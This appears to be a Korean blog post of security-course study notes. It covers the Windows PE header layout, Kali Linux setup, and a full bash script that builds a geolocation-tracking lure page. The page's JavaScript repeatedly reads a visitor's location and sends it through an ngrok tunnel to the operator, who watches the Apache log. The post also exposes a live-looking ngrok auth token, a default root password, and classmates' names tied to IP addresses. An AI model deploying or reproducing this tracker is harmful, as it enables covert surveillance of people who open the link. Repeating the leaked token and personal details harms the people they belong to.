📠 Secure

2022-06-21

*윈도우 PE

1. Windows Preinstallation Environment
2. Windows Portable Executable

1. Dos Header -> 시그니쳐 코드가 MZ다
2. Dos Stub -> 의미없는 코드로 마음대로 변경해도 실행에 문제가 없다.
3. NT Header
3-1) Signature -> 시그니쳐 코드가 PE다
3-2) File Header
  WORD  Machine; -> 현재 컴퓨터의 종류 014C
  WORD  NumberOfSections;  -> 섹션의 개수 0003
  DWORD TimeDateStamp; -> 생성시간 48025287
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD  SizeOfOptionalHeader; -> Optional Header의 크기 00E0
  WORD  Characteristics;  -> 해당 파일의 기능  010F
3-3) Optional Header
  WORD                 Magic;  -> 실행파일의 종류 010B
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;   ->파일이 실행되면서 메모리에 올라갈때 시작점이 되는 주소 0000739D
  DWORD                BaseOfCode; -> 코드영역의 시작점
  DWORD                BaseOfData; -> 데이타영역의 시작점
  DWORD                ImageBase; -> 01000000
  DWORD                SectionAlignment; -> 메모리 형태일 때 배수의 기준
  DWORD                FileAlignment; -> 파일 형태일 때 배수의 기준
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage; -> 메모리 형태일 때 크기
  DWORD                SizeOfHeaders; -> 헤더의 크기
  DWORD                CheckSum;
  WORD                 Subsystem; -> 실행했을 때 화면 구성(CUI, GUI 등)
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory
4. text(code) Header
5. data Header
6. rsrc Header

7. text(code) Section
8. data Section
9. rsrc Section

----------------------
sudo passwd root
kali
toor
toor

TrackURL

apt-get update

apt-get install gedit

service apache2 start == systemctl start httpd

gnome-terminal -e './ngrok http 80'

apt-get install gnome-terminal
apt-get install xterm

'./ngrok config add-authtoken 2AsCJD6nlqu4BI8CEoIZKAZaVJJ_884HESRjtSZscmWHS9EFG'
#!/bin/bash

#64_bit
#xterm -e ./ngrok http 80 & clear

#32_Bit
gnome-terminal -e './ngrok http 80'
'./ngrok config add-authtoken 2AsCJD6nlqu4BI8CEoIZKAZaVJJ_884HESRjtSZscmWHS9EFG'

echo "            ______________________________________________________
            7      77  _  77  _  77     77  7  77  7  77  _  77  7
            !__  __!|    _||  _  ||  ___!|   __!|  |  ||    _||  |
              7  7  |  _ \ |  7  ||  7___|     ||  |  ||  _ \ |  !___
              |  |  |  7  ||  |  ||     7|  7  ||  !  ||  7  ||     7
              !__!  !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
                                                                     "
sleep 5
read -p '           URL: ' varurl
echo "<!DOCTYPE html>

<html>
    <head>
        <title> ㄴㅁㅇㄹㄴㅁㅇㄹ </title>
        <style type=\"text/css\">

            body {
                background-image: url(\"skull.jpg\");
                background-size: 1000px 1600px;
                background-repeat: no-repeat;
            }

        </style>
    </head>
    <body>

        <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>
        <script type='text/javascript'>
        function httpGet(theUrl)
        {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request
            xmlHttp.send( null );
            return xmlHttp.responseText;
        }

        function autoUpdate() {
          navigator.geolocation.getCurrentPosition(function(position) {
            coords = position.coords.latitude + \",\" + position.coords.longitude;
             url = \""$varurl"/logme/\" + coords;
            httpGet(url);
            console.log('should be working');
            setTimeout(autoUpdate, 1000);
        })
        };
        \$(document).ready(function(){
           autoUpdate();
        });

        </script>
    </body>
</html>" > index.html

mv index.html /var/www/html/index.html
cp skull.jpg /var/www/html/skull.jpg
service apache2 start
echo "         ______________________________________________________
         7      77  _  77  _  77     77  7  77  7  77  _  77  7
         !__  __!|    _||  _  ||  ___!|   __!|  |  ||    _||  |
           7  7  |  _ \ |  7  ||  7___|     ||  |  ||  _ \ |  !___
           |  |  |  7  ||  |  ||     7|  7  ||  !  ||  7  ||     7
           !__!  !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
                                                                  " > /var/log/apache2/access.log
xterm -e tail -f /var/log/apache2/access.log &
clear
exit

/usr/bin에서
google-chrome-stable 파일

--user-data-dir --test-type --no-sandbox

----입력기 설치----
apt-get install fcitx-lib*

apt-get install fcitx-hangul

------------------------------------------------
강순구[192.168.0.20] : 192.168.100.11(김정혜)
  192.168.250.11(윤채은)
20001 / 20002
------------------------------------------------
김정혜[192.168.0.30] : 192.168.150.10(박정혁)
                192.168.100.10(강순구)
30001 / 30002
------------------------------------------------
윤채은[192.168.0.40] : 192.168.200.10(박정혁)
  192.168.250.10(강순구)
40001 / 40002
------------------------------------------------
박정혁[192.168.0.200] : 192.168.150.11(김정혜)
    192.168.200.11(윤채은)
50001/ 50002
------------------------------------------------

저작자표시 비영리 동일조건

'📠 Secure' 카테고리의 다른 글

2022-06-23 (0)	2022.06.28
2022-06-22 (0)	2022.06.28
2022-06-20 (0)	2022.06.28
2022-06-16 (0)	2022.06.28
DLL Ejection (0)	2022.06.28

Contents

새소식

인기 검색어

2022-06-21

'📠 Secure' 카테고리의 다른 글

당신이 좋아할만한 콘텐츠

티스토리툴바